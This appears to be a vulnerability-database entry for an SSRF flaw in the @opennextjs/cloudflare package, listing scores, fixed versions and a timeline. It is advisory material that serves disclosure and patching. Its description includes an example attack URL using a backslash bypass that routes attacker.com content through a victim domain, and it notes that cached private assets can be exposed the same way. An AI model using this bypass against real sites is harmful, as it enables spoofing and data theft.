All vulnerabilities
CVE-2026-3125CVE-2025-6087GHSA-c7mq-gh6q-6q7cGHSA-rvpw-p7vw-wj3m

@opennextjs/cloudflare: SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass

opennextjs @opennextjs/cloudflarenpmLibraries & packages
CVSS
7.7High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)0.38%Chance of exploitation activity in the next 30 days, higher than 31% of CVEs. Scored 25 Oct 2026FIRST EPSS
Fixed in1.17.1Also 1.3.0CVE List
Published4 Mar 2026Updated 16 Mar 2026CVE List

What fixes it

  • 1.17.1@opennextjs/cloudflareCVE List
  • 1.3.0@opennextjs/cloudflare, npmOSVnpm install @opennextjs/cloudflare@1.3.0

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Timeline

  1. 4 Mar 2026, 18:14 UTCPublishedCVE List
  2. 25 Oct 2026, 19:02 UTCExploit code publicGitHub proof-of-concept repositories

Reports 1

1 outlet mention it. Reports are not confirmation; each links to its source.

Description

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.

For example:

https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com

In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.

Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.

Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

Text from CVE List

Affected versions 2

  • @opennextjs/cloudflareaffected: all versions before 1.17.1CVE List
  • @opennextjs/cloudflare, npmfrom first release, fixed in 1.3.0OSV

References 4